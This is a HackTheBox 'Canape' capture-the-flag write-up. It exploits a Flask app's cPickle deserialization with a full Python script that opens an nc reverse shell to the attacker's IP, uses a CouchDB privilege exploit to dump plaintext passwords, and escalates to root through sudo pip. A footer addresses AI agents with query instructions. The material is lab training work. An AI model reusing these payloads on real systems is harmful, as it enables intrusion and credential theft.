# Canape

This is a medium difficulty Linux machine from [HackTheBox ](https://app.hackthebox.com/machines/134)created by overcast. In this scenario, my IP is 10.10.14.36 and the target’s IP is 10.129.177.254

The use of a file (.git) with the default name, makes the site easy to find by using Nmap scripts, this machine requires a basic understanding of Python and Burpsuite to get the parameters.

### Recon

This step is always the same, you must ping the machine to see if is alive, and then use Nmap to scan all the ports to avoid surprises.

{% code title="Local Terminal" %}

```bash
$ ping -c 1 10.129.177.254

Pinging 10.129.177.254 with 32 bytes of data:
Reply from 10.129.177.254: bytes=32 time=175ms TTL=63
Reply from 10.129.177.254: bytes=32 time=158ms TTL=63
Reply from 10.129.177.254: bytes=32 time=186ms TTL=63
Reply from 10.129.177.254: bytes=32 time=164ms TTL=63

Ping statistics for 10.129.177.254:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 158ms, Maximum = 186ms, Average = 170ms
```

{% endcode %}

{% code title="Local Terminal" %}

```bash
$ nmap -p- --open -sS --min-rate 5000 -vvv -n 10.129.177.254 -oN Ports

Nmap scan report for 10.129.177.254
Host is up, received echo-reply ttl 63 (0.40s latency).
Scanned at 2023-06-05 10:02:24 Pacific SA Standard Time for 28s
Not shown: 65533 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE REASON
80/tcp    open  http    syn-ack ttl 63
65535/tcp open  unknown syn-ack ttl 63

Read data files from: C:\Program Files (x86)\Nmap
Nmap done: 1 IP address (1 host up) scanned in 28.88 seconds
           Raw packets sent: 131089 (5.768MB) | Rcvd: 77 (3.372KB)
```

{% endcode %}

{% code title="Local Terminal" %}

```bash
$ nmap -sCV -p 80,65535 10.129.177.254 -oN Target

Nmap scan report for 10.129.177.254
Host is up (0.17s latency).

PORT      STATE SERVICE VERSION
80/tcp    open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-git:
|   10.129.177.254:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|     Last commit message: final # Please enter the commit message for your changes. Li...
|     Remotes:
|_      http://git.canape.htb/simpsons.git
|_http-title: Simpsons Fan Site
|_http-trane-info: Problem with XML parsing of /evox/about
|_http-server-header: Apache/2.4.18 (Ubuntu)
65535/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 8d:82:0b:31:90:e4:c8:85:b2:53:8b:a1:7c:3b:65:e1 (RSA)
|   256 22:fc:6e:c3:55:00:85:0f:24:bf:f5:79:6c:92:8b:68 (ECDSA)
|_  256 0d:91:27:51:80:5e:2b:a3:81:0d:e9:d8:5c:9b:77:35 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

{% endcode %}

{% code title="Local Terminal" %}

```bash
$ whatweb 10.129.177.254

http://10.129.177.254 [200 OK] Apache[2.4.18], Bootstrap, Country[RESERVED][ZZ], 
HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.129.177.254], JQuery, 
Script, Title[Simpsons Fan Site]
```

{% endcode %}

Here we have valuable information, there is a .git and the port for SSH is different, once discovered makes no difference. Let's explore the website

* Browser: <http://10.129.177.254/.git/>

<figure><img src="/files/hTwsIxv1iYZZeU5JWkcC" alt=""><figcaption><p>http://10.129.177.254/.git/config</p></figcaption></figure>

Add both sites to etc host.

{% code title="Local Terminal" %}

```bash
echo "10.129.177.254 canape.htb git.canape.htb" >> /etc/hosts
```

{% endcode %}

* Browser: <http://git.canape.htb/simpsons.git>

Nothing here!

* Browser: <http://canape.htb>

<figure><img src="/files/c3qYmZwuIQwikrZRzMEm" alt=""><figcaption><p>At the view:source (CTRL+U) there is a hash, it does not change after a reload, so save it.</p></figcaption></figure>

Hash: c8a74a098a60aaea1af98945bd707a7eab0ff4b0

{% code title="Local Terminal" %}

```bash
$ wfuzz -c -f FuzzFile -t 200 --hc=404 --hw=1 --hh=3076 -w /shared/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.129.177.254/FUZZ
```

{% endcode %}

```javascript
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.129.177.254/FUZZ
Total requests: 220546

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000171:   200        81 L     167 W      2836 Ch     "submit"
000000255:   301        9 L      28 W       317 Ch      "static"
000000673:   200        85 L     227 W      3150 Ch     "quotes"
000001314:   405        4 L      23 W       178 Ch      "check"
000095510:   403        11 L     32 W       302 Ch      "server-status"
```

The result when exploring each site:

* /submit   Submit page, it has some **fillable text box.**
* /static     JS & CSS
* /quotes   Quotes list page, nothing.
* /check    Method not accepted
* /server-status   Forbidden

### Testing

Now, the only thing that we can do, is to test many payloads.

{% code title="Local Terminal" %}

```bash
python3 -m http.server 80
```

{% endcode %}

* Browser:   <http://10.129.177.254/submit>

The character text box is restringed to a list of names, the Quote box is more flexible.

<figure><img src="/files/DJOh7A6hlnIsUUHm7S11" alt=""><figcaption><p>No response at the http server</p></figcaption></figure>

{% code title="Local Terminal" %}

```bash
git clone http://git.canape.htb/simpsons.git
```

{% endcode %}

{% code title="Local Terminal" %}

```bash
batcat __init__.py
```

{% endcode %}

```python
import couchdb
import string
import random
import base64
import cPickle # Usually cPickle is vulnerable
from flask import Flask, render_template, request
from hashlib import md5

app = Flask(__name__)
app.config.update(
    DATABASE = "simpsons"
)
db = couchdb.Server("http://localhost:5984/")[app.config["DATABASE"]]
    # Aditional information: DB > http://localhost:5984/
@app.errorhandler(404)
def page_not_found(e):
    if random.randrange(0, 2) > 0:
        return ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(random.randrange(50, 250)))
    else:
        return render_template("index.html")

@app.route("/")
def index():
    return render_template("index.html")
R
@app.route("/quotes")
def quotes():
    quotes = []
    for id in db:
        quotes.append({"title": db[id]["character"], "text": db[id]["quote"]})
    return render_template('quotes.html', entries=quotes)

WHITELIST = [
    "homer",
    "marge",
    "bart",
    "lisa",
    "maggie",
    "moe",
    "carl",
    "krusty"
]

@app.route("/submit", methods=["GET", "POST"])
def submit():
    error = None
    success = None

    if request.method == "POST":
        try:
            char = request.form["character"]
            quote = request.form["quote"]
            if not char or not quote:
                error = True
            elif not any(c.lower() in char.lower() for c in WHITELIST):
            # It uses "MATCH", so something like asdasdHomerasdasd will work
                error = True
            else:
                # TODO - Pickle into dictionary instead, `check` is ready
                p_id = md5(char + quote).hexdigest() # ID = MD5 of char+quote
                outfile = open("/tmp/" + p_id + ".p", "wb")
                outfile.write(char + quote)
                outfile.close()
                success = True
        except Exception as ex:
            error = True

    return render_template("submit.html", error=error, success=success)

@app.route("/check", methods=["POST"])
def check():
    path = "/tmp/" + request.form["id"] + ".p"
    data = open(path, "rb").read()

    if "p1" in data:
        item = cPickle.loads(data)
    else:
        item = data

    return "Still reviewing: " + item

if __name__ == "__main__":
    app.run()
```

Information captured:

* DB > <http://localhost:5984/>
* It uses "MATCH", so something like "asdasdHomerasdasd" will work
* ID = MD5 of char+quote

### Reverse Shell \[www-data]

cPickle is a dangerous library because it represent a python object in a string of bytes and viceversa.

* vi exploit.py

{% code title="Exploit.py" %}

```python
#!/usr/bin/python2.7
#coding utf-8

import pickle
import sys
import os
import requests
import signal
import hashlib


def def_handler(sig,frame):
    print("\n BREAK! \n")
    sys.exit(1)

# CTRL + C
signal.signal(signal.SIGINT, def_handler)

class PickleRCE(object):
    def __reduce__(self):
        import os
        return (os.system,('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.36 443 >/tmp/f; Homer',))

# URLs
submit_url = 'http://10.129.177.254/submit'
check_url = 'http://10.129.177.254/check'

def makeRequest():
    character = pickle.dumps(PickleRCE())
    quote = "Exploit"

    post_data = {
            'character' : character,
            'quote' : quote
    }

    r = requests.post(submit_url, data=post_data)

    md5_id = hashlib.md5(character + quote).hexdigest()

    post_data = {
            'id' : md5_id
    }

    r = requests.post(check_url, data=post_data)

if __name__ == '__main__':
    makeRequest()
```

{% endcode %}

{% embed url="<https://github.com/CalfCrusher/Python-Pickle-RCE-Exploit/blob/main/Pickle-PoC.py>" %}

{% embed url="<https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet>" %}

Open two terminals, one to execute the exploit and the other one to connect

{% code title="Local Terminal A" %}

```bash
$ nc -nlvp 443
```

{% endcode %}

{% code title="Local Terminal B" %}

```bash
python2.7 exploit.py
```

{% endcode %}

### User Scalation \[Homer]

Do a [shell upgrade](/cybersecurity/cybersecurity/tip-and-tricks/bash-upgrade.md) before continue.

At the git project we found a database.

{% code title="Target Terminal \[www-data]" %}

```bash
$ curl http://localhost:5984
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
```

{% endcode %}

Couch 2.0.0, now that we have the version we can check at exploitdb.

{% embed url="<https://www.exploit-db.com/exploits/44498>" %}

Download the python script at your local machine and send it to the target.

{% code title="Local Terminal" %}

```bash
# At the same folder of the file.
python3 -m http.server 80 
```

{% endcode %}

{% code title="Target Terminal \[www-data]" %}

```bash
$ cd /tmp/

$ wget http://10.10.14.36/44498.py
--2023-06-05 13:08:29--  http://10.10.14.36/44498.py
```

{% endcode %}

{% code title="Target Terminal \[www-data]" %}

```bash
$ python 44498.py -p 5984 -u tartox -P tartox 127.0.0.1
[+] User to create: tartox
[+] Password: tartox
[+] Attacking host 127.0.0.1 on port 5984
[+] User tartox with password tartox successfully created.
```

{% endcode %}

Now we are going to explore inside the data base, there is a link about how to explore couchdb by using **Curl.**

{% embed url="<https://www.tutorialspoint.com/couchdb/couchdb_curl_futon.htm>" %}

{% code title="Target Terminal \[www-data]" %}

```bash
$ curl http://tartox:tartox@localhost:5984
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}

$ curl http://tartox:tartox@localhost:5984/_all_dbs
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]

$ curl http://tartox:tartox@localhost:5984/passwords/_all_docs
{"total_rows":4,"offset":0,"rows":[
{"id":"739c5ebdf3f7a001bebb8fc4380019e4","key":"739c5ebdf3f7a001bebb8fc4380019e4","value":{"rev":"2-81cf17b971d9229c54be92eeee723296"}},
{"id":"739c5ebdf3f7a001bebb8fc43800368d","key":"739c5ebdf3f7a001bebb8fc43800368d","value":{"rev":"2-43f8db6aa3b51643c9a0e21cacd92c6e"}},
{"id":"739c5ebdf3f7a001bebb8fc438003e5f","key":"739c5ebdf3f7a001bebb8fc438003e5f","value":{"rev":"1-77cd0af093b96943ecb42c2e5358fe61"}},
{"id":"739c5ebdf3f7a001bebb8fc438004738","key":"739c5ebdf3f7a001bebb8fc438004738","value":{"rev":"1-49a20010e64044ee7571b8c1b902cf8c"}}
]}
```

{% endcode %}

Now we have to see the information to each id.

{% code title="Target Terminal \[www-data]" %}

```bash
$ curl http://tartox:tartox@localhost:5984/passwords/739c5ebdf3f7a001bebb8fc4380019e4
{"_id":"739c5ebdf3f7a001bebb8fc4380019e4","_rev":"2-81cf17b971d9229c54be92eeee723296","item":"ssh","password":"0B4jyA0xtytZi7esBNGp","user":""}

$ curl http://tartox:tartox@localhost:5984/passwords/739c5ebdf3f7a001bebb8fc43800368d
{"_id":"739c5ebdf3f7a001bebb8fc43800368d","_rev":"2-43f8db6aa3b51643c9a0e21cacd92c6e","item":"couchdb","password":"r3lax0Nth3C0UCH","user":"couchy"}

$ curl http://tartox:tartox@localhost:5984/passwords/739c5ebdf3f7a001bebb8fc438003e5f
{"_id":"739c5ebdf3f7a001bebb8fc438003e5f","_rev":"1-77cd0af093b96943ecb42c2e5358fe61","item":"simpsonsfanclub.com","password":"h02ddjdj2k2k2","user":"homer"}

$ curl http://tartox:tartox@localhost:5984/passwords/739c5ebdf3f7a001bebb8fc438004738
{"_id":"739c5ebdf3f7a001bebb8fc438004738","_rev":"1-49a20010e64044ee7571b8c1b902cf8c","user":"homerj0121","item":"github","password":"STOP STORING YOUR PASSWORDS HERE -Admin"}
```

{% endcode %}

If there are MAAANY users, you can use the following command:

{% code title="Target Terminal \[www-data]" %}

```bash
curl -s http://tartox:tartox@localhost:5984/passwords/_all_docs | grep -oP '".*?"' | grep "73" | sort -u | tr -d '"'
```

{% endcode %}

```
739c5ebdf3f7a001bebb8fc4380019e4
739c5ebdf3f7a001bebb8fc43800368d
739c5ebdf3f7a001bebb8fc438003e5f
739c5ebdf3f7a001bebb8fc438004738
```

{% code title="Target Terminal \[www-data]" %}

```bash
for id in $(curl -s http://tartox:tartox@localhost:5984/passwords/_all_docs | grep -oP '".*?"' | grep "73" | sort -u | tr -d '"'); do echo -e "\n [+] Testing: \n"; curl -s http://tartox:tartox@localhost:5984/passwords/$id; done
```

{% endcode %}

Thanks [S4vitar ](https://www.youtube.com/watch?v=Ce2zCSEDRtA\&ab_channel=S4viOnLive%28BackupDirectosdeTwitch%29)for this class, soon I will do it by myself.

Now we know 4 users and 4 password to test, after trying, the correct one is:

{% code title="Target Terminal \[www-data]" %}

```bash
$ su homer    # password: 0B4jyA0xtytZi7esBNGp

$ cat /home/homer/user.txt
e3aeb9c50c15ff651284588bdcf14064
```

{% endcode %}

### Privilege Scalation \[Root]

Now we have to find a way to escalate.

{% code title="Target Terminal \[www-data]" %}

```bash
$ id
uid=1000(homer) gid=1000(homer) groups=1000(homer)

$ sudo -l
[sudo] password for homer:
Matching Defaults entries for homer on canape:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User homer may run the following commands on canape:
    (root) /usr/bin/pip install *
```

{% endcode %}

That was easy, at GTFOBins you can find the steps to scalate through pip.

{% embed url="<https://gtfobins.github.io/gtfobins/pip/#shell>" %}

{% code title="Target Terminal \[www-data]" %}

```bash
homer@canape:/tmp$ TF=$(mktemp -d)
homer@canape:/tmp$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
homer@canape:/tmp$ sudo pip install $TF
```

{% endcode %}

{% code title="Target Terminal \[Root]" %}

```bash
$ whoami
root

$ cat /root/root.txt
e7190a6848a7ab5fd61faecc46de1935
```

{% endcode %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://robertos-notebook.gitbook.io/cybersecurity/hack-the-box/old-machines/medium-machine/canape.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
